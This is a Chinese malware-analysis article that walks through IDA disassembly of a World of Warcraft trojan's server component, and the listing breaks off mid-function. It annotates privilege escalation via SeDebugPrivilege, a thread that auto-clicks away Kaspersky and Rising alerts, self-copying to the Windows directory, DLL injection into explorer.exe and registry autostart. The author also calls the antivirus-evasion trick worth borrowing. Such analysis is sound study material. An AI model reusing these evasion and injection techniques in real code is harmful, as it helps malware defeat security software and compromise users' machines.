逆向分析WOW木马服务端
文章作者:asm
信息来源:邪恶八进制信息安全团队
在看AV的时候正激动,一个网友丢了一个木马服务端过来叫我分析这个木马服务端。反正AV都看腻了,就动手来分析,把这个木马丢到IDA里面去:
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ;文章作者:asm
    ;信息来源:红狼安全小组
    ;如欲转载,请保持文章的完整性,并且注明作者等版权信息
    ;红狼安全小组 http://www.wolfexp.net/forum/
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ;*************************************************************************
    .text:00401151 Buffer       = byte ptr -418h   ;局部变量(缓冲区)
    .text:00401151 CmdLine       = byte ptr -314h
    .text:00401151 NewFileName   = byte ptr -210h
    .text:00401151 var_10D       = byte ptr -10Dh
    .text:00401151 Data         = byte ptr -10Ch
    .text:00401151 var_8       = dword ptr -8
    .text:00401151 dwProcessId   = dword ptr -4
    .text:00401151 hModule       = dword ptr 8   ;函数参数声明IDA已经识别
    .text:00401151 hPrevInstance   = dword ptr 0Ch
    .text:00401151 lpCmdLine     = dword ptr 10h
    .text:00401151 nShowCmd     = dword ptr 14h
    .text:00401151
    .text:00401151           push   ebp
    .text:00401152           mov   ebp, esp
    .text:00401154           sub   esp, 418h
    .text:0040115A           push   ebx
    .text:0040115B           push   esi
    .text:0040115C           push   edi
    .text:0040115D           nop
    .text:0040115E           nop
    .text:0040115F           nop
    .text:00401160           nop
    .text:00401161           nop
    .text:00401162           call   sub_4013AB     ; 提升本程序的进程令牌获取system权限
                                        ;没有通过堆栈传递参数
    .text:00401162
    .text:00401167           mov   esi, 103h
    .text:0040116C           lea   eax, [ebp+Buffer] ; 取缓冲区变量存eax
    .text:00401172           push   esi         ; uSize
    .text:00401173           push   eax         ; lpBuffer
    .text:00401174           call   ds:GetSystemDirectoryA ; 获取系统目录
    .text:0040117A           lea   eax, [ebp+CmdLine]
    .text:00401180           push   esi         ; uSize
    .text:00401181           push   eax         ; lpBuffer
    .text:00401182           call   ds:GetWindowsDirectoryA ; 获取windows目录
    .text:00401188           lea   eax, [ebp+Data]
    .text:0040118E           push   esi         ; nSize
    .text:0040118F           xor   ebx, ebx
    .text:00401191           push   eax         ; lpFilename
    .text:00401192           push   ebx         ; hModule
    .text:00401193           call   ds:GetModuleFileNameA ; eax保存着本程序的自身名字
    .text:00401199           mov   edi, ds:strrchr
    .text:0040119F           lea   eax, [ebp+Data] ; 将缓冲区变量存eax中并查找
    .text:004011A5           push   5Ch         ; int
    .text:004011A7           push   eax         ; char *
    .text:004011A8           call   edi ; strrchr   ; 现在调用strrchr对系统目录路径进行处理。
                                        ;这步我不知道它要做什么
    .text:004011AA           pop   ecx
    .text:004011AB           cmp   eax, ebx
    .text:004011AD           pop   ecx
    .text:004011AE           jz     short loc_4011B2 ; 函数返回成功,我们看看返回后程序做了什
    么
    .text:004011AE
    .text:004011B0           mov   [eax], bl
    ;**********************************************************************
            ^|
            | ;这个分支的主干在上面
获取令牌提升权限:
    ;*********************************************************************************
    .text:004013AB NewState     = _TOKEN_PRIVILEGES ptr -1Ch
    .text:004013AB Luid         = _LUID ptr -0Ch
    .text:004013AB TokenHandle   = dword ptr -4
    .text:004013AB
    .text:004013AB           push   ebp
    .text:004013AC           mov   ebp, esp
    .text:004013AE           sub   esp, 1Ch     ; 分配空间
    .text:004013B1           lea   eax, [ebp+TokenHandle]
    .text:004013B4           push   eax         ; TokenHandle
    .text:004013B5           push   28h         ; DesiredAccess
    .text:004013B7           call   ds:GetCurrentProcess ; 获取自身进程PID
    .text:004013BD           push   eax         ; ProcessHandle
    .text:004013BE           call   ds:OpenProcessToken ; Open the access token associated
    with a process
    .text:004013C4           test   eax, eax ;返回值是否为0,也就是返回是否成
    .text:004013C6           jz     short locret_401417
    .text:004013C6
    .text:004013C8           lea   eax, [ebp+Luid] ;取出LUID串存eax,这个LUID要设置
    成"SeDebugPrivilege"
    .text:004013CB           push   eax         ; lpLuid
    .text:004013CC           push   offset Name   ; "SeDebugPrivilege"
    .text:004013D1           push   0           ; lpSystemName
    .text:004013D3           call   ds:LookupPrivilegeValueA ; 获取了"SeDebugPrivilege"标志的
    令牌
    .text:004013D9           test   eax, eax     ; 返回值是否为0
    .text:004013DB           jnz   short loc_4013E8
    .text:004013DB
    .text:004013DD           push   [ebp+TokenHandle] ; hObject
    .text:004013E0           call   ds:CloseHandle ;如果函数调用不成功,就关闭句柄返回
    .text:004013E6           leave
    .text:004013E7           retn
    .text:004013E7
    .text:004013E8 ; ---------------------------------------------------------------------------
    .text:004013E8
    .text:004013E8 loc_4013E8:                  
    .text:004013E8           mov   eax, [ebp+Luid.LowPart]
    .text:004013EB           push   0           ; ReturnLength
    .text:004013ED           mov   [ebp+NewState.Privileges.Luid.LowPart], eax
    .text:004013F0           mov   eax, [ebp+Luid.HighPart]
    .text:004013F3           mov   [ebp+NewState.Privileges.Luid.HighPart], eax
    .text:004013F6           push   0           ; PreviousState
    .text:004013F8           lea   eax, [ebp+NewState]
    .text:004013FB           push   10h         ; BufferLength
    .text:004013FD           push   eax         ; NewState
    .text:004013FE           push   0           ; DisableAllPrivileges
    .text:00401400           push   [ebp+TokenHandle] ; TokenHandle
    .text:00401403           mov   [ebp+NewState.PrivilegeCount], 1
    .text:0040140A           mov   [ebp+NewState.Privileges.Attributes], 2
    .text:00401411           call   ds:AdjustTokenPrivileges ; 把自己的进程提升到了system.
                                              ;这样做的目的也很明显了,要么保护
    自己,要么进行别的小动作
    .text:00401411
    .text:00401417
    .text:00401417 locret_401417:
    .text:00401417           leave
    .text:00401418           retn
    .text:00401418
    .text:00401418 sub_4013AB     endp
    ;**************************************************************************
                ^|
                | ;这个分支的主干在上面
    程序做了这个动作----
    ;**************************************************************************
    .text:004011B2 loc_4011B2:                  
    .text:004011B2           push   1
    .text:004011B4           call   sub_4016A2     ;这里就是对strrchr函数进行处理,是一些关于
                                        ;音频设备的,我们不需要关心
    .text:004011B4
    .text:004011B9           pop   ecx
    .text:004011BA           push   ebx         ; lpThreadId
    .text:004011BB           push   ebx         ; dwCreationFlags
    .text:004011BC           push   ebx         ; lpParameter
    .text:004011BD           push   offset StartAddress ; lpStartAddress
    .text:004011C2           push   400h         ; dwStackSize
    .text:004011C7           push   ebx         ; lpThreadAttributes
    .text:004011C8           call   ds:CreateThread ; 创建一个线程来结束卡巴和瑞星的警告
                                        ;现在我们走到这个分支来看看,看看offset
                                        ;StartAddress
                                        ;存的是什么
    .text:004011CE           lea   eax, [ebp+CmdLine]
    .text:004011D4           push   eax         ; char *
    .text:004011D5           lea   eax, [ebp+Data]
    .text:004011DB           push   eax         ; char *
    .text:004011DC           call   ds:_stricmp   ;对比一下是否发现已经中了本马
    .text:004011E2           pop   ecx
    .text:004011E3           test   eax, eax
    .text:004011E5           pop   ecx
    .text:004011E6           jnz   loc_401311     ; 把自己身复制到系统目录并且运行
    ;**********************************************************************
创建一个线程对杀毒软件进行处理 |^   ;这个分支的主干在上面
    ;**************************************************************************
    .text:00401594 StartAddress   proc near        
    .text:00401594
    .text:00401594 var_8       = dword ptr -8 ;都是局部变量的声明
    .text:00401594 hWnd         = dword ptr -4
    .text:00401594
    .text:00401594           push   ebp
    .text:00401595           mov   ebp, esp
    .text:00401597           push   ecx
    .text:00401598           push   ecx
    .text:00401599           push   ebx
    .text:0040159A           push   esi
    .text:0040159B           push   edi
    .text:0040159C           nop
    .text:0040159D           mov   esi, ds:SendMessageA
    .text:004015A3           xor   edi, edi
    .text:004015A5           mov   ebx, 202h
    .text:004015A5
    .text:004015AA
    .text:004015AA loc_4015AA:                   ; CODE XREF: StartAddress+FCj
    .text:004015AA                           ; StartAddress+109j
    .text:004015AA           push   1           ; dwMilliseconds
    .text:004015AC           call   ds:Sleep
    .text:004015B2           push   edi         ; lpWindowName
    .text:004015B3           push   offset ClassName ; "AVP.AlertDialog"
    .text:004015B8           call   ds:FindWindowA   ;查找卡巴的警告窗口
    .text:004015BE           cmp   eax, edi
    .text:004015C0           mov   [ebp+var_8], eax
    .text:004015C3           jz     loc_40166B
    .text:004015C3
    .text:004015C9           push   offset s_A     ; "允许"
    .text:004015CE           push   edi         ; LPCSTR
    .text:004015CF           push   edi         ; HWND
    .text:004015D0           push   eax         ; HWND
    .text:004015D1           call   ds:FindWindowExA
    .text:004015D7           cmp   eax, edi
    .text:004015D9           mov   [ebp+hWnd], eax
    .text:004015DC           jz     short loc_4015F0
    .text:004015DC
    .text:004015DE           push   edi         ; lParam
    .text:004015DF           push   edi         ; wParam
    .text:004015E0           push   201h         ; Msg
    .text:004015E5           push   eax         ; hWnd
    .text:004015E6           call   esi ; SendMessageA ;模拟用户按键点击了"允许"
                                        ;看来是要对卡巴做些小动作了
    .text:004015E8           push   edi         ; lParam
    .text:004015E9           push   edi         ; wParam
    .text:004015EA           push   ebx         ; Msg
    .text:004015EB           push   [ebp+hWnd]     ; hWnd
    .text:004015EE           call   esi ; SendMessageA ;发送关闭消息关闭这个AVP.AlertDialog窗
    口
    .text:004015EE
                                        ;下面的代码都是一样了
    .text:004015F0
    .text:004015F0 loc_4015F0:                  
    .text:004015F0           push   offset asc_403104 ; "跳过"
    .text:004015F5           push   edi         ; LPCSTR
    .text:004015F6           push   edi         ; HWND
    .text:004015F7           push   [ebp+var_8]   ; HWND
    .text:004015FA           call   ds:FindWindowExA ;查找有"跳过"字符的窗口类
    .text:00401600           cmp   eax, edi
    .text:00401602           mov   [ebp+hWnd], eax
    .text:00401605           jz     short loc_401619
    .text:00401605
    .text:00401607           push   edi         ; lParam
    .text:00401608           push   edi         ; wParam
    .text:00401609           push   201h         ; Msg
    .text:0040160E           push   eax         ; hWnd
    .text:0040160F           call   esi ; SendMessageA ;发送点击的消息
    .text:00401611           push   edi         ; lParam
    .text:00401612           push   edi         ; wParam
    .text:00401613           push   ebx         ; Msg
    .text:00401614           push   [ebp+hWnd]     ; hWnd
    .text:00401617           call   esi ; SendMessageA ;关闭这个窗口来逃避杀毒
    .text:00401617
    .text:00401619
    .text:00401619 loc_401619:                  
    .text:00401619           push   offset s_AA   ; "允许(&A)"
    .text:0040161E           push   edi         ; LPCSTR
    .text:0040161F           push   edi         ; HWND
    .text:00401620           push   [ebp+var_8]   ; HWND
    .text:00401623           call   ds:FindWindowExA
    .text:00401629           cmp   eax, edi
    .text:0040162B           mov   [ebp+hWnd], eax
    .text:0040162E           jz     short loc_401642
    .text:0040162E
    .text:00401630           push   edi         ; lParam
    .text:00401631           push   edi         ; wParam
    .text:00401632           push   201h         ; Msg
    .text:00401637           push   eax         ; hWnd
    .text:00401638           call   esi ; SendMessageA
    .text:0040163A           push   edi         ; lParam
    .text:0040163B           push   edi         ; wParam
    .text:0040163C           push   ebx         ; Msg
    .text:0040163D           push   [ebp+hWnd]     ; hWnd
    .text:00401640           call   esi ; SendMessageA
    .text:00401640
    .text:00401642
    .text:00401642 loc_401642:                  
    .text:00401642           push   offset s_S     ; "跳过(&S)"
    .text:00401647           push   edi         ; LPCSTR
    .text:00401648           push   edi         ; HWND
    .text:00401649           push   [ebp+var_8]   ; HWND
    .text:0040164C           call   ds:FindWindowExA
    .text:00401652           cmp   eax, edi
    .text:00401654           mov   [ebp+hWnd], eax
    .text:00401657           jz     short loc_40166B
    .text:00401657
    .text:00401659           push   edi         ; lParam
    .text:0040165A           push   edi         ; wParam
    .text:0040165B           push   201h         ; Msg
    .text:00401660           push   eax         ; hWnd
    .text:00401661           call   esi ; SendMessageA
    .text:00401663           push   edi         ; lParam
    .text:00401664           push   edi         ; wParam
    .text:00401665           push   ebx         ; Msg
    .text:00401666           push   [ebp+hWnd]     ; hWnd
    .text:00401669           call   esi ; SendMessageA
    .text:00401669
    .text:0040166B
    .text:0040166B loc_40166B:                  
    .text:0040166B                          
    .text:0040166B           push   edi         ; lpWindowName
    .text:0040166C           push   offset s_Avp_product_n ; "AVP.Product_Notification"
    .text:00401671           call   ds:FindWindowA ;查找"AVP.Product_Notification"窗口类
    .text:00401677           cmp   eax, edi
    .text:00401679           jz     short loc_401682
    .text:00401679
    .text:0040167B           push   edi         ; lParam
    .text:0040167C           push   edi         ; wParam
    .text:0040167D           push   10h         ; Msg
    .text:0040167F           push   eax         ; hWnd
    .text:00401680           call   esi ; SendMessageA
    .text:00401680
    .text:00401682
    .text:00401682 loc_401682:                  
    .text:00401682           push   offset WindowName ; "瑞星注册表监控提示"
    .text:00401687           push   edi         ; lpClassName
    .text:00401688           call   ds:FindWindowA ;叼,想关闭瑞星注册表监控写入启动项
    .text:0040168E           cmp   eax, edi
    .text:00401690           jz     loc_4015AA
    .text:00401690
    .text:00401696           push   edi         ; lParam
    .text:00401697           push   edi         ; wParam
    .text:00401698           push   10h         ; Msg
    .text:0040169A           push   eax         ; hWnd
    .text:0040169B           call   esi ; SendMessageA
    .text:0040169D           jmp   loc_4015AA
    .text:0040169D
    .text:0040169D StartAddress   endp
    ;**********************************************************************
  看来这个分支是对杀毒软件进行处理,首先FindWindows找一些标识,比如"允许",如果发送消息模拟鼠标点击关闭这个这个警告,从而使得杀毒软件对它失效。这个方法可以借鉴!
(启动后搜索标题为AVP.AlertDialog的 Kaspersky 的警告窗口,模拟点击按钮“允许”和“跳过” 向
Kaspersky 的通知窗口(类名为:AVP.Product_Notification)发送WM_CLOSE消息结束该窗口)
把自己复制到系统目录并且运行 |^
    ;**************************************************************************************
    loc_401311:                  
    .text:00401311           mov   edi, ds:sprintf
    .text:00401317           lea   eax, [ebp+CmdLine]
    .text:0040131D           push   offset s_Mppds_exe ; "mppds.exe"
    .text:00401322           push   eax
    .text:00401323           lea   eax, [ebp+NewFileName]
    .text:00401329           push   offset s_SS   ; "%s\\%s"
    .text:0040132E           push   eax         ; char *
    .text:0040132F           call   edi ; sprintf   ; 创建新文件
    .text:00401331           add   esp, 10h
    .text:00401334           lea   eax, [ebp+Data]
    .text:0040133A           push   esi         ; nSize
    .text:0040133B           push   eax         ; lpFilename
    .text:0040133C           push   ebx         ; hModule
    .text:0040133D           call   ds:GetModuleFileNameA ; 获取新文件的名字
    .text:00401343           lea   eax, [ebp+NewFileName]
    .text:00401349           push   ebx         ; bFailIfExists
    .text:0040134A           push   eax         ; lpNewFileName
    .text:0040134B           lea   eax, [ebp+Data] ; 保存有windows目录路径的缓冲区
    .text:00401351           push   eax         ; lpExistingFileName
    .text:00401352           call   ds:CopyFileA   ; 很明显,是把自己复制到windows目录
    .text:00401358           call   ds:GetCurrentProcessId ; 获取自身的PID
    .text:0040135E           push   eax
    .text:0040135F           lea   eax, [ebp+Data]
    .text:00401365           push   40h
    .text:00401367           push   eax
    .text:00401368           lea   eax, [ebp+NewFileName]
    .text:0040136E           push   40h
    .text:00401370           push   eax
    .text:00401371           lea   eax, [ebp+CmdLine]
    .text:00401377           push   offset s_SCSCD ; "%s %c%s%c%d"
    .text:0040137C           push   eax         ; char *
    .text:0040137D           call   edi ; sprintf   ; NewFileName缓冲区里保存的
                                        ;应该是c:\windows\mppds.exe
    .text:0040137F           add   esp, 1Ch
    .text:00401382           lea   eax, [ebp+CmdLine]
    .text:00401388           push   ebx         ; uCmdShow
    .text:00401389           push   eax         ; lpCmdLine
    .text:0040138A           call   ds:WinExec     ; 用命令行的方式启动这个windows
                                        ;目录里的病毒
    .text:0040138A
    .text:00401390
    .text:00401390 loc_401390:                  
    .text:00401390           push   3E8h         ; dwMilliseconds
    .text:00401395           call   ds:Sleep     ; 休眠
    .text:0040139B           push   ebx
    .text:0040139C           call   sub_4016A2     ; 这里是干什么的?都是一些
                                        ;关于音频设备的函数
    .text:0040139C
    .text:004013A1           pop   ecx
    .text:004013A2           pop   edi
    .text:004013A3           pop   esi
    .text:004013A4           xor   eax, eax
    .text:004013A6           pop   ebx
    .text:004013A7           leave
    .text:004013A8           retn   10h
    .text:004013A8
    .text:004013A8 __stdcall WinMain(x, x, x, x) endp
    ;********************************************************************************
到这里呢,我们可以清楚滴了解了这个木马的前期工作–提升进程权限–关闭杀毒软件–复制自身到windows并且执行。
    ;********************************************************************************
    .text:004011EC           call   ds:GetCommandLineA ; 获取自身的命令行参数
    .text:004011F2           push   40h         ; int
    .text:004011F4           push   eax         ; char *
    .text:004011F5           mov   [ebp+dwProcessId], eax
    .text:004011F8           call   ds:strchr
    .text:004011FE           push   40h         ; int
    .text:00401200           mov   [ebp+var_8], eax
    .text:00401203           push   [ebp+dwProcessId] ; char *
    .text:00401206           call   edi ; strrchr
    .text:00401208           add   esp, 10h
    .text:0040120B           cmp   [ebp+var_8], ebx
    .text:0040120E           mov   edi, eax
    .text:00401210           jz     short loc_40128C   ;来看一下这个分支原来是查找桌面    
                                      ;进程准备线程注入
    .text:00401210
    .text:00401212           cmp   edi, ebx
    .text:00401214           jz     short loc_40128C
    ;********************************************************************************
short loc_40128C |^
    ;********************************************************************************
    .text:0040128C loc_40128C:                  
    .text:0040128C                          
    .text:0040128C                          
    .text:0040128C           push   offset s_Explorer_exe ; "explorer.exe"
    .text:00401291           call   sub_401000     ; 列举explorer的进程
                                        ;并且保存PID和进程名
    .text:00401291
    .text:00401296           mov   edi, eax     ; 保存explorer.exe进程名到edi
    .text:00401298           pop   ecx
    .text:00401299           cmp   edi, ebx     ; 对比一下进程PID
    .text:0040129B           jz     short loc_4012ED ; 执行分支
    .text:0040129B
    .text:0040129D           lea   eax, [ebp+Buffer] ; 取系统目录路径传送到eax
    .text:004012A3           push   offset s_Mppds_dll ; "mppds.dll"
    .text:004012A8           push   eax         ; 传递系统目录压栈
    .text:004012A9           lea   eax, [ebp+NewFileName] ; 新的文件名到eax
    .text:004012AF           push   offset s_SS   ; "%s\\%s"
    .text:004012B4           push   eax         ; char *
    .text:004012B5           call   ds:sprintf     ; sprontf(char *buffer "%s\\%s",char *test
    mppds.dll)
    .text:004012BB           lea   eax, [ebp+NewFileName]
    .text:004012C1           push   eax         ; char *
    .text:004012C2           push   offset Type   ; "DLL"
    .text:004012C7           push   65h         ; lpName
    .text:004012C9           push   [ebp+hModule]   ; hModule
    .text:004012CC           call   sub_40108D     ; 开始查找dll资源,准备释放
    .text:004012CC
    .text:004012D1           add   esp, 20h     ;释放堆栈
    .text:004012D4           test   al, al
    .text:004012D6           jz     short loc_4012ED
    .text:004012D6
    .text:004012D8           lea   eax, [ebp+NewFileName]
    .text:004012DE           push   offset Parameter ; "fa"
    .text:004012E3           push   eax         ; lpBuffer
    .text:004012E4           push   edi         ; hProcess
    .text:004012E5           call   sub_401444     ; 开始创建远程线程注入
    .text:004012E5
    .text:004012EA           add   esp, 0Ch
    .text:004012EA
    .text:004012ED
    .text:004012ED loc_4012ED:                  
    .text:004012ED                          
    .text:004012ED           lea   eax, [ebp+Data]
    .text:004012F3           push   esi         ; nSize
    .text:004012F4           push   eax         ; lpFilename
    .text:004012F5           push   ebx         ; hModule
    .text:004012F6           call   ds:GetModuleFileNameA ; 获取自身模块名称
    .text:004012FC           lea   eax, [ebp+Data] ; 传送windows路径
    .text:00401302           push   eax         ; lpData
    .text:00401303           push   offset ValueName ; "mppds"
    .text:00401308           call   sub_40179B     ; 很显然,开始注册成注册表启动了
    .text:00401308
    .text:0040130D           pop   ecx
    .text:0040130E           pop   ecx
    .text:0040130F           jmp   short loc_401390
    .text:0040130F
    ;********************************************************************************
通过上面的我们已经知道,木马开始查找explorer.exe并且保存这次查找的程序名和PID
    这个是分支short loc_4012ED, 获取explorer的进程和PID:|^
    ;********************************************************************************
    .text:00401000 sub_401000     proc near      
    .text:00401000
    .text:00401000 pe         = PROCESSENTRY32 ptr -128h
    .text:00401000 arg_0       = dword ptr 8
    .text:00401000
    .text:00401000           push   ebp
    .text:00401001           mov   ebp, esp
    .text:00401003           sub   esp, 128h ;分配空间
    .text:00401009           push   ebx     ;保存所有寄存器
    .text:0040100A           push   esi
    .text:0040100B           push   edi
    .text:0040100C           nop
    .text:0040100D           nop
    .text:0040100E           push   49h
    .text:00401010           xor   ebx, ebx
    .text:00401012           pop   ecx
    .text:00401013           xor   eax, eax
    .text:00401015           lea   edi, [ebp+pe.cntUsage]
    .text:0040101B           mov   [ebp+pe.dwSize], ebx
    .text:00401021           push   ebx         ; th32ProcessID
    .text:00401022           push   2           ; dwFlags
    .text:00401024           rep stosd
    .text:00401026           call   CreateToolhelp32Snapshot ; 获取快照
    .text:00401026
    .text:0040102B           mov   edi, eax
    .text:0040102D           lea   eax, [ebp+pe]
    .text:00401033           push   eax         ; lppe
    .text:00401034           push   edi         ; hSnapshot
    .text:00401035           mov   [ebp+pe.dwSize], 128h
    .text:0040103F           call   Process32First
    .text:0040103F
    .text:00401044           mov   esi, ds:_stricmp ; 对比是否发现explorer.exe
    .text:0040104A           lea   eax, [ebp+pe.szExeFile] ; eax保存着本次查找的进程名称
    .text:00401050           push   eax         ; char *
    .text:00401051           push   [ebp+arg_0]   ; char *
    .text:00401051
    .text:00401054
    .text:00401054 loc_401054:                  
    .text:00401054           call   esi ; _stricmp
    .text:00401056           pop   ecx
    .text:00401057           test   eax, eax
    .text:00401059           pop   ecx
    .text:0040105A           jz     short loc_401079 ; 保存列举进程的PID值到ebx
    .text:0040105A
    .text:0040105C           lea   eax, [ebp+pe]
    .text:00401062           push   eax         ; lppe
    .text:00401063           push   edi         ; hSnapshot
    .text:00401064           call   Process32Next
    .text:00401064
    .text:00401069           test   eax, eax
    .text:0040106B           jz     short loc_40107F
    .text:0040106B
    .text:0040106D           lea   eax, [ebp+pe.szExeFile] ; 将列举到的explorer.exe进程存到
    eax
    .text:00401073           push   eax         ; 压栈传递参数
    .text:00401074           push   [ebp+arg_0]
    .text:00401077           jmp   short loc_401054
    .text:00401077
    .text:00401079 ; ---------------------------------------------------------------------------
    .text:00401079
    .text:00401079 loc_401079:                  
    .text:00401079           mov   ebx, [ebp+pe.th32ProcessID] ; 保存列举进程的PID值到ebx
    .text:00401079
    .text:0040107F
    .text:0040107F loc_40107F:                  
    .text:0040107F           push   edi         ; hObject
    .text:00401080           call   ds:CloseHandle ; 关闭快照句柄
    .text:00401086           pop   edi
    .text:00401087           mov   eax, ebx
    .text:00401089           pop   esi
    .text:0040108A           pop   ebx
    .text:0040108B           leave
    .text:0040108C           retn
    .text:0040108C
    .text:0040108C sub_401000     endp
    .text:0040108C
    ;********************************************************************************
    释放一个dll,开始查找资源,将资源写到windows目录:
    ;*********************************************************************************
    .text:0040108D sub_40108D     proc near      
    .text:0040108D
    .text:0040108D hModule       = dword ptr 8
    .text:0040108D lpName       = dword ptr 0Ch
    .text:0040108D lpType       = dword ptr 10h
    .text:0040108D arg_C       = dword ptr 14h
    .text:0040108D
    .text:0040108D           push   ebp
    .text:0040108E           mov   ebp, esp
    .text:00401090           push   ebx         ; 保存堆栈
    .text:00401091           push   esi
    .text:00401092           push   edi
    .text:00401093           push   [ebp+lpType]   ; lpType
    .text:00401096           push   [ebp+lpName]   ; lpName
    .text:00401099           push   [ebp+hModule]   ; hModule
    .text:0040109C           call   ds:FindResourceA ;查找资源
    .text:004010A2           mov   esi, eax     ;保存句柄
    .text:004010A4           test   esi, esi   ;查找是否成功?
    .text:004010A6           jz     short loc_4010E5 ;不成功跳到这里来
    .text:004010A6
    .text:004010A8           push   esi         ; hResInfo
    .text:004010A9           push   [ebp+hModule]   ; hModule
    .text:004010AC           call   ds:SizeofResource ;获取资源长度
    .text:004010B2           push   esi         ; hResInfo
    .text:004010B3           mov   ebx, eax
    .text:004010B5           push   [ebp+hModule]   ; hModule
    .text:004010B8           call   ds:LoadResource ;装载资源
    .text:004010BE           test   eax, eax
    .text:004010C0           jz     short loc_4010E5
    .text:004010C0
    .text:004010C2           push   eax         ; hResData
    .text:004010C3           call   ds:LockResource ;锁定资源
    .text:004010C9           mov   edi, eax
    .text:004010CB           test   edi, edi     ; 锁定资源的句柄
    .text:004010CD           jz     short loc_4010E5
    .text:004010CD
    .text:004010CF           push   offset s_Wb   ; "wb"
    .text:004010D4           push   [ebp+arg_C]   ; char *
    .text:004010D7           call   ds:fopen     ;可写的权限打开
    .text:004010DD           mov   esi, eax     ;保存到esi中
    .text:004010DF           pop   ecx
    .text:004010E0           test   esi, esi
    .text:004010E2           pop   ecx
    .text:004010E3           jnz   short loc_4010E9
    .text:004010E3
    .text:004010E5
    .text:004010E5 loc_4010E5:                  
    .text:004010E5                          
    .text:004010E5                          
    .text:004010E5           xor   al, al
    .text:004010E7           jmp   short loc_401100
    .text:004010E7
    .text:004010E9 ; ---------------------------------------------------------------------------
    .text:004010E9
    .text:004010E9 loc_4010E9:                  
    .text:004010E9           push   esi         ;上一函数的句柄压栈
    .text:004010EA           push   1           ; size_t
    .text:004010EC           push   ebx         ; size_t
    .text:004010ED           push   edi         ; void *
    .text:004010EE           call   ds:fwrite     ;开始写入dll到windows目录了
    .text:004010F4           push   esi         ; FILE *
    .text:004010F5           call   ds:fclose     ;关闭
    .text:004010FB           add   esp, 14h
    .text:004010FE           mov   al, 1
    .text:004010FE
    .text:00401100
    .text:00401100 loc_401100:                  
    .text:00401100           pop   edi
    .text:00401101           pop   esi
    .text:00401102           pop   ebx
    .text:00401103           pop   ebp
    .text:00401104           retn
    .text:00401104
    .text:00401104 sub_40108D     endp
    ;**************************************************************************
    ;现在就是设置远程线程来执行这个dll了 |^ ;这个分支的主干在上面
    ;*********************************************************************
    .text:00401444 sub_401444     proc near        
    .text:00401444                          
    .text:00401444
    .text:00401444 Buffer       = dword ptr -134h ;局部变量
    .text:00401444 var_130       = dword ptr -130h
    .text:00401444 var_12C       = dword ptr -12Ch
    .text:00401444 var_128       = byte ptr -128h
    .text:00401444 var_24       = byte ptr -24h
    .text:00401444 hModule       = dword ptr -4
    .text:00401444 hProcess     = dword ptr 8     ;函数参数
    .text:00401444 lpBuffer     = dword ptr 0Ch
    .text:00401444 lpParameter   = dword ptr 10h
    .text:00401444
    .text:00401444           push   ebp
    .text:00401445           mov   ebp, esp
    .text:00401447           sub   esp, 134h
    .text:0040144D           push   ebx
    .text:0040144E           push   esi
    .text:0040144F           push   edi
    .text:00401450           xor   ebx, ebx
    .text:00401452           push   [ebp+hProcess] ; dwProcessId
    .text:00401455           push   ebx         ; bInheritHandle
    .text:00401456           push   1F0FFFh ; <suspicious> ; dwDesiredAccess
    .text:0040145B           call   ds:OpenProcess ;打开进程PID
    .text:00401461           cmp   eax, ebx
    .text:00401463           mov   [ebp+hProcess], eax
    .text:00401466           jz     loc_40158F
    .text:00401466
    .text:0040146C           push   offset LibFileName ; "kernel32.dll"
    .text:00401471           call   ds:LoadLibraryA   ;装载dll,可以发现,它准备找出      
;kernel32.dll中的LoadLibraryA和
                            ;GetProcAddress
    .text:00401477           mov   edi, 130h
    .text:0040147C           mov   [ebp+hModule], eax
    .text:0040147F           push   edi         ; size_t
    .text:00401480           lea   eax, [ebp+Buffer]
    .text:00401486           push   ebx         ; int
    .text:00401487           push   eax         ; void *
    .text:00401488           call   memset
    .text:00401488
    .text:0040148D           mov   esi, ds:GetProcAddress
    .text:00401493           add   esp, 0Ch
    .text:00401496           push   offset ProcName ; "LoadLibraryA"
    .text:0040149B           push   [ebp+hModule]   ; hModule
    .text:0040149E           call   esi ; GetProcAddress ;获取LoadLibrary地址
    .text:004014A0           push   offset s_Getprocaddres ; "GetProcAddress"
    .text:004014A5           mov   [ebp+Buffer], eax
    .text:004014AB           push   [ebp+hModule]   ; hModule
    .text:004014AE           call   esi ; GetProcAddress
    .text:004014B0           push   offset s_Sleep ; "Sleep"
    .text:004014B5           mov   [ebp+var_130], eax
    .text:004014BB           push   [ebp+hModule]   ; hModule
    .text:004014BE           call   esi ; GetProcAddress
    .text:004014C0           push   [ebp+lpBuffer] ; char *
    .text:004014C3           mov   [ebp+var_12C], eax
    .text:004014C9           lea   eax, [ebp+var_128]
    .text:004014CF           push   eax         ; char *
    .text:004014D0           call   strcpy
    .text:004014D0
    .text:004014D5           push   [ebp+lpParameter] ; char *
    .text:004014D8           lea   eax, [ebp+var_24]
    .text:004014DB           push   eax         ; char *
    .text:004014DC           call   strcpy
    .text:004014DC
    .text:004014E1           add   esp, 10h
    .text:004014E4           mov   esi, ds:VirtualAllocEx
    .text:004014EA           push   4           ; flProtect
    .text:004014EC           push   1000h       ; flAllocationType
    .text:004014F1           push   edi         ; dwSize
    .text:004014F2           push   ebx         ; lpAddress
    .text:004014F3           push   [ebp+hProcess] ; hProcess
    .text:004014F6           call   esi ; VirtualAllocEx
    .text:004014F8           cmp   eax, ebx
    .text:004014FA           mov   [ebp+lpParameter], eax
    .text:004014FD           jz     loc_40158F
    .text:004014FD
    .text:00401503           push   ebx         ; lpNumberOfBytesWritten
    .text:00401504           lea   ecx, [ebp+Buffer]
    .text:0040150A           push   edi         ; nSize
    .text:0040150B           push   ecx         ; lpBuffer
    .text:0040150C           push   eax         ; lpBaseAddress
    .text:0040150D           push   [ebp+hProcess] ; hProcess
    .text:00401510           call   ds:WriteProcessMemory ;开始写入explorer
    .text:00401516           test   eax, eax
    .text:00401518           jz     short loc_40158F
    .text:00401518
    .text:0040151A           mov   edi, offset sub_401444
    .text:0040151F           sub   edi, offset sub_401419
    .text:00401525           push   edi         ; dwBytes
    .text:00401526           push   ebx         ; uFlags
    .text:00401527           call   ds:GlobalAlloc ;分配一快内存
    .text:0040152D           push   eax         ; hMem
    .text:0040152E           mov   [ebp+lpBuffer], eax
    .text:00401531           call   ds:GlobalLock   ;锁定分配的
    .text:00401537           push   edi         ; dwSize
    .text:00401538           push   [ebp+lpBuffer] ; void *
    .text:0040153B           push   offset sub_401419 ; lpAddress
    .text:00401540           call   ds:GetCurrentProcess
